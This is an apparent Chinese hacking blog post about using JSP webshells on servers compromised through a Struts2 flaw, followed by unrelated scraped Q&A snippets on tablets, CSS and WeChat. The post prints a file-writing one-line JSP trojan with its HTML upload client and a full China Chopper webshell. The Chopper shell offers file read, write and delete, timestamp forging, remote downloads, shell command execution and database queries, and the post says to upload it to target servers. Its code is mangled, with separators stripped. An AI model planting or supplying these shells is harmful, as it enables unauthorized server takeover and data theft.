相信用过一句话木马的黑阔们对中国菜刀这个程序不会感到陌生,小弟也曾使用PHP一句话木马轻松lcx了很多站。近期Struts2重定向漏洞疯狂来袭,不少黑阔们都摩拳擦掌、争先恐后的寻找属于自己的那群“小肉鸡”。由于工作需要,我也对几个站点做了Struts2重定向漏洞的测试,所有使用Struts2框架的网站安全问题均不容乐观,中标率几乎达到了85%以上。也许一场血雨腥风的Struts2漏洞利用潮即将来临。说了这么多废话,本文的目的是什么呢?其实只是想记录一下JSP几种后门代码啦,因为曾经找JSP菜刀马找的老辛苦了。1、首先是JSP一句话木马和它的客户端小伙伴。(小伙伴们都惊呆了~~~)以下是服务端,保存成one.jsp并上传至目标服务器中。<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes())%>通过使用一句话木马客户端连接one.jsp木马。将下列代码保存为html页面:<html><head><title>JSP一句话木马客户端</title></head><div align=center> <font color=red>专用JSP木马连接器</font><br><form name=get method=post>服务端地址<input name=url size=110 type=text> <br><br><textarea name=t rows=20 cols=120>你提交的代码</textarea><br>保存成的文件名:<input name=f size=30 value=shell.jsp><input type=button onclick="javascript:get.action=document.get.url.valueget.submit()" value=提交></form> <br>服务端代码:<br><textarea rows=5 cols=120><%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes())%> </textarea> </div></body>保存完成后,打开html页面,写入一句话木马服务端地址,例如http://www.cto365.com/one.jsp,写入需要的代码和保存的文件名称点击保存即可。 2、中国菜刀能用的菜刀马本文除了对jsp一句话木马进行了说明,还提供了一个中国菜刀能用的菜刀马。将下列代码保存为xx.jsp并上传至目标服务器,使用中国菜刀工具进行连接。<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%><%!String Pwd="cto365.com"String EC(String s,String c)throws Exception{return s}//new String(s.getBytes("ISO-8859-1"),c)}Connection GC(String s)throws Exception{String[] x=s.trim().split("rn")Class.forName(x[0].trim()).newInstance()Connection c=DriverManager.getConnection(x[1].trim())if(x.length>2){c.setCatalog(x[2].trim())}return c}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots()for(int i=0i<r.lengthi++){sb.append(r[i].toString().substring(0,2))}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles()String sT, sQ,sF=""java.util.Date dtSimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")for(int i=0i<l.lengthi++){dt=new java.util.Date(l[i].lastModified())sT=fm.format(dt)sQ=l[i].canRead()?"R":""sQ+=l[i].canWrite()?" W":""if(l[i].isDirectory()){sb.append(l[i].getName()+"/t"+sT+"t"+l[i].length()+"t"+sQ+"n")}else{sF+=l[i].getName()+"t"+sT+"t"+l[i].length()+"t"+sQ+"n"}}sb.append(sF)}void EE(String s)throws Exception{File f=new File(s)if(f.isDirectory()){File x[]=f.listFiles()for(int k=0k<x.lengthk++){if(!x[k].delete()){EE(x[k].getPath())}}}f.delete()}void FF(String s,HttpServletResponse r)throws Exception{int nbyte[] b=new byte[512]r.reset()ServletOutputStream os=r.getOutputStream()BufferedInputStream is=new BufferedInputStream(new FileInputStream(s))os.write(("->"+"|").getBytes(),0,3)while((n=is.read(b,0,512))!=-1){os.write(b,0,n)}os.write(("|"+"<-").getBytes(),0,3)os.close()is.close()}void GG(String s, String d)throws Exception{String h="0123456789ABCDEF"int nFile f=new File(s)f.createNewFile()FileOutputStream os=new FileOutputStream(f)for(int i=0i<d.length()i+=2){os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))))}os.close()}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d)if(sf.isDirectory()){if(!df.exists()){df.mkdir()}File z[]=sf.listFiles()for(int j=0j<z.lengthj++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName())}}else{FileInputStream is=new FileInputStream(sf)FileOutputStream os=new FileOutputStream(df)int nbyte[] b=new byte[512]while((n=is.read(b,0,512))!=-1){os.write(b,0,n)}is.close()os.close()}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d)sf.renameTo(df)}void JJ(String s)throws Exception{File f=new File(s)f.mkdir()}void KK(String s,String t)throws Exception{File f=new File(s)SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")java.util.Date dt=fm.parse(t)f.setLastModified(dt.getTime())}void LL(String s, String d)throws Exception{URL u=new URL(s)int nFileOutputStream os=new FileOutputStream(d)HttpURLConnection h=(HttpURLConnection)u.openConnection()InputStream is=h.getInputStream()byte[] b=new byte[512]while((n=is.read(b,0,512))!=-1){os.write(b,0,n)}os.close()is.close()h.disconnect()}void MM(InputStream is, StringBuffer sb)throws Exception{String lBufferedReader br=new BufferedReader(new InputStreamReader(is))while((l=br.readLine())!=null){sb.append(l+"rn")}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s)ResultSet r=c.getMetaData().getCatalogs()while(r.next()){sb.append(r.getString(1)+"t")}r.close()c.close()}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s)String[] t={"TABLE"}ResultSet r=c.getMetaData().getTables (null,null,"%",t)while(r.next()){sb.append(r.getString("TABLE_NAME")+"t")}r.close()c.close()}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("rn")Connection c=GC(s)Statement m=c.createStatement(1005,1007)ResultSet r=m.executeQuery("select * from "+x[3])ResultSetMetaData d=r.getMetaData()for(int i=1i<=d.getColumnCount()i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")t")}r.close()m.close()c.close()}void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int iConnection c=GC(s)Statement m=c.createStatement(1005,1008)try{ResultSet r=m.executeQuery(q)ResultSetMetaData d=r.getMetaData()int n=d.getColumnCount()for(i=1i<=ni++){sb.append(d.getColumnName(i)+"t|t")}sb.append("rn")while(r.next()){for(i=1i<=ni++){sb.append(EC(r.getString(i),cs)+"t|t")}sb.append("rn")}r.close()}catch(Exception e){sb.append("Resultt|trn")try{m.executeUpdate(q)sb.append("Execute Successfully!t|trn")}catch(Exception ee){sb.append(ee.toString()+"t|trn")}}m.close()c.close()}%><%String cs=request.getParameter("z0")+""request.setCharacterEncoding(cs)response.setContentType("text/htmlcharset="+cs)String Z=EC(request.getParameter(Pwd)+"",cs)String z1=EC(request.getParameter("z1")+"",cs)String z2=EC(request.getParameter("z2")+"",cs)StringBuffer sb=new StringBuffer("")try{sb.append("->"+"|")if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent()sb.append(s+"t")if(!s.substring(0,1).equals("/")){AA(sb)}}else if(Z.equals("B")){BB(z1,sb)}else if(Z.equals("C")){String l=""BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))))while((l=br.readLine())!=null){sb.append(l+"rn")}br.close()}else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))))bw.write(z2)bw.close()sb.append("1")}else if(Z.equals("E")){EE(z1)sb.append("1")}else if(Z.equals("F")){FF(z1,response)}else if(Z.equals("G")){GG(z1,z2)sb.append("1")}else if(Z.equals("H")){HH(z1,z2)sb.append("1")}else if(Z.equals("I")){II(z1,z2)sb.append("1")}else if(Z.equals("J")){JJ(z1)sb.append("1")}else if(Z.equals("K")){KK(z1,z2)sb.append("1")}else if(Z.equals("L")){LL(z1,z2)sb.append("1")}else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2}Process p=Runtime.getRuntime().exec(c)MM(p.getInputStream(),sb)MM(p.getErrorStream(),sb)}else if(Z.equals("N")){NN(z1,sb)}else if(Z.equals("O")){OO(z1,sb)}else if(Z.equals("P")){PP(z1,sb)}else if(Z.equals("Q")){QQ(cs,z1,z2,sb)}}catch(Exception e){sb.append("ERROR"+":// "+e.toString())}sb.append("|"+"<-")out.print(sb.toString())%>在程序中很容易找到挂马的代码,直接删除,或则将你没有传服务器的源程序覆盖一次但反反复复被挂就得深入解决掉此问题了。但这不是最好的解决办法。最好的方法还是找专业做安全的来帮你解决掉1.删除JS里的混迹加密代码,并做下JS目录的权限为只读权限。为何网站JS内容被篡改,应该是网站存在漏洞。2、 网站代码漏洞,这需要有安全意识的程序员才能修复得了,通常是在出现被挂 马以后才知道要针对哪方面入手修复;3、也可以通过安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.
如何使用JSP一句话木马和菜刀木马
给您推荐相同类型的内容:
联想平板电脑怎么恢复出厂设置?
1、先将平板进行关机。将平板进行关机后,在平板的侧面找到平板的音量键2、然后先按住音量+键,再按住开机键,等到平板亮屏了以后就可以松开开机键,音量键不要松开,一直等到出现“重启设备”、“恢复出厂设置”界面3、用音量上下键控制图标移动到“恢复新组装的电脑为什么要安装驱动?
一般的电脑配置是安装系统时,系统自带的驱动程序就可以使用和兼容了,不过有一些电脑的配件驱动程序用系统自带的驱动是不兼容的,所以一般要重新安装硬件的驱动程序,一般用硬件的安装光盘来安装驱动,不过现在是下载驱动精灵,然后让他来更新驱动程序简单一几种常见的css布局方式
四种方式 比如想要做这样一个布局,有哪几种方式。 最简单、最快捷的方式。 element-ui提供的布局容器,el-header头标签,有height属性。el-aside左侧边栏标签,有width属性。el-footer底部html css 返回顶部按钮位置怎么固定?
可以使用相当于浏览器定位。css样式中写入:x0dx0a{position: fixedx0dx0a right: 20pxx0dx0a bottom: 100px}相当于浏览器右边20px,浏览器底部100px的距离的学生用什么笔记本电脑好?
推荐华硕天选,天选以二次元的活力和多元的灵魂,打造出新时代动感出位的科技产品。搭载新一代AMD 锐龙标压处理器 Ryzen™ 5 4600HRyzen™ 7 4800H,全新图灵架构独显,选配Nvidia Geforce GTX165电脑上录歌用什么软件?
电脑上录歌什么软件最好 录清唱:使用window自带的录音机功能,操作简单,方便。录带音乐的:酷我音乐盒中的k歌功能,就能实现。下载最新版本的酷我音乐盒,安装后打开酷我音乐。点击歌词MV页签,在酷我的左边会出现一个菜单,单击k歌,自什么是修图师
修图师:主要以Photoshop等图片编辑软件为工具对图片进行修饰、美化、创意及设计的专业人才。主要利用中性灰、双曲线、高低频修图等手法针对人像进行修饰使照片更具质感切无痕。然后通过光影处理、彩色搭配来提升层次感。掌握三庭五眼、四高三低等美如何优化 Mac 笔记本电脑的电池续航能力,解决电池问题
关于Mac 笔记本电池的使用可谓是众说纷纭,许多刚使用Mac的小白肯定被各位大神说的晕头转向。接下来呢,我就为大家带来一片关于Mac 笔记本电池的知识科普,不了解的可以来看看哦!优化电池续航能力 您的笔记本电脑电池续航能力取决于电脑配置笔记本电脑软件推荐?
1.安全软件win10自带还有电脑管家。下载应用2.系统清理:qq电脑管家清理软件3.下载工具:idm 无敌的软件4.浏览器:ChromeMicrosoft Edge还有火狐 ie5.视频播放器:Potplayer qq影视6.电脑游戏的沉迷,如何引导他们正确使用电脑呢?
现在孩子的身边也围绕了各种各样的电子产品,但是这个时候家长也会感觉十分担心,因为这个时候小孩子的自控能力很差,所以家长非常害怕孩子不会正确的使用这些产品。沉迷于电脑游戏,家长应该如何引导孩子正确使用电脑呢?一、家长一定要以身作则其实家长也苹果手机怎么下载开心召唤
开心召唤app使用教程1、下载app安装完成后点击打开进入2、完成账号注册登录后进入,完成新人指导3、每天签到可以获得免费抽奖召唤次数4、通过召唤卡片,手机卡牌,兑换卡片解锁奖励5、除了虚拟道具以外,还拥有大量实物奖品等你来抢真正送皮肤的软这个html计时器为什么打开后什么都不显示?
1、你引入xxx.js文件的代码没错;2、注意你的html文件名称是 index(2).html,确保你在浏览器里访问的是这个文件;3、并不是引入了js文件就会执行,有些js文件的内容不是执行代码,而是函数定义,这种情况要调用后才会执行的。镭射键盘怎么用
额。。。真高新。。。镭射键盘的原理原理就是通过对手指的的指尖检测从而感应到是按哪个镭射键盘的使用方法只要一块平台的空间,就可以投射出键盘来。这款虚拟镭射在把按键投影在桌面上后,使用者就可以进行操作。它通过蓝牙或连线连接,可与PDA、怎么把微信备份到电脑
问题一:如何把微信收藏的东西转到电脑里?把微信收藏的东西转到电脑方法我总结以下几种: 一、可以在电脑上找到微信我的收藏在手机上的存储路径,然后将其直接拷贝的电脑上,路径如下: 图片:TencentMicromsgcamera两台不同的电脑之间怎么传文件比较快?有哪些好用的软件?
两台不同电脑之间用硬盘传文件比较快,好用的软件有QQ、百度网盘、微信等,直接通过硬盘是最快的方式,不需要经过中间媒介,传输速度取决于硬盘速度,而硬盘速度大多比网速快,采用一些可以传输文件的软件也可以,速度稍慢。两台电脑之间进行文件互传,通过微信电脑版怎么加好友
1、打开电脑版微信,搜索并选择想要添加的好友。2、鼠标点击左侧头像,点击添加按钮。3、这时就会发送好友添加请求。4、等待对方同意。微信加人技巧第一种:将QQ好友转化为微信好友。QQ都不陌生,有微信的人、必定有QQ,对于一些想要添加真实微信请问嗨氏玩王者荣耀用的是什么模拟器?我用的是4399手游通。
夜神模拟器。拓展:1、计算机模拟(简称sim)是利用计算机进行模拟的方法。利用计算机软件开发出的模拟器,可以进行故障树分析、测试VLSI逻辑设计等复杂的模拟任务。在优化领域,物理过程的模拟经常与演化计算一同用于优化控制策略。计算机模拟器笔记本电脑屏幕怎么擦干净
电脑屏幕清洁办法:1、用面巾纸来擦电脑我们经常使用,如果发现电脑的屏幕上有一层灰,可以直接用面巾纸来擦电脑屏幕,擦的时候一定不能用力太大。2、用专业的清洗电脑屏幕的布和清洁剂一般情况下我们买电脑的时候卖电脑的都会送我们专业的清洁电脑屏幕的CSS中如何添加特效字体
特殊字体一般不是说不能添加,而是考虑到用户电脑上预装的字体有限,所以局限在宋体和微软雅黑两种字体,css属性中有个font属性,例如{font-family:"迷你简菱心"},在装过这个字体的的电脑会有效果,但是再没有装电脑序列号怎么查询
进系统后通过命令查看序号【WIN】+【R】快捷键输入【cmd】回车,输入【wmic bios get serialnumber】回车,可以查看产品序列号Serial Number。1、点击开始,在搜索中输入cmd,回车,打开命令窗口在命令如何用html标签来显示gif图片
1、html插入图片要用到img标签。具体的用法,首先新建一个html文件,写入基本的html结构,导入一张gif格式的图片:2、接着给img标签一个class属性,命名为img,在head标签中设置style标签,在style标签设置“.电脑内存不足怎么清理
扩大虚拟内存,磁盘清理,设置内存比例。电脑提示内存不足,那肯定就是内存不足了,如果提示英文的话,可能会有部分用户还不知道什么意思呢,只会见到一个大大的感叹号,还会有一声“咚”的声音。顾名思义内存不足,就是内存不足,电脑也有内存,就像我们使用html如何设置超链接
01超链接的设置使用很简单,直接使用“<a>”标签就行了。但要使用标签对,即要以“<a><a>”的格式出现。02 03 04这样我们的超链接就基本什么是js防水涂料
JS防水涂料是什么呢?它指的是聚合物水泥防水涂料,又称JS复合防水涂料。其中,J就是指聚合物,S水泥(“JS”为“聚合物水泥”的拼音字头)。与水泥按合理比例混合使用形成高强坚韧的涂膜,具有有机材料弹性高,无机材料耐久性好的双重优点,防水效css3背景图片只有加了边框才会
css3背景图片只有加了边框才会显示CSS3中的背景图片可以通过设置边框来显示,也可以通过设置宽度和高度来显示。例如:.my-image {background-image: url(image.jpg)border: 1px solid电脑上剪辑视频哪个软件最好用
电脑视频剪辑软件以下这几款不错:1、万兴喵影操作简单小白易上手,智能剪辑快速提效,还保留了一些让专业创作者发挥的空间。除了常见的文字语音互转、智能抠像、运动跟踪,还有独家裁剪无声片段的智能初剪、识别A视频色调自动匹配到B视频上的颜色匹如何自学成为程序员?
问题一:如何自学成为初级程序员[经验之谈]30岁,我的程序,我的梦! 程序人生 : 30岁,我的程序员梦想 作 者: redbridge (雪燃) 30岁,开始实现我的程序员梦,从一个编程爱好者,从一个业余的程序员,一个水平电脑可以托运吗
电脑可以托运。目前人们常用的电脑大致分为两种,一种是台式电脑,一种是笔记本电脑,由于二者在配件结构以及体积重量方面有很大差别,所以相关托运规定也是有区别的。一般情况台式电脑主机和显示器如果没有超过5KG的话,可以随身带,否则就要托运。而且要CSS中3d导航为啥要加过渡效果
过渡效果是在鼠标指针浮到元素上时发生的效果。CSS过渡是元素从一种样式逐渐改变为另一种的效果,这边要注意的是,想要实现这一点,必须规定两项内容,规定您希望把效果添加到哪个CSS属性上规定效果的时长,规定您希望把效果添加到哪个CSS属性上,规有哪些有意思的熊猫头表情包?
关于“表情包”的来源:之后一位被称作“毕老师”的大神就把金馆长的表情通过把图像转黑白再调整ps曲线p到了熊猫脸上,然后就广泛流传,从此称霸了表情界。金馆长熊猫人物表情出自电影作品《金馆长对金馆长对金馆长》忠清道一个偏僻小村庄里这个村庄虽小里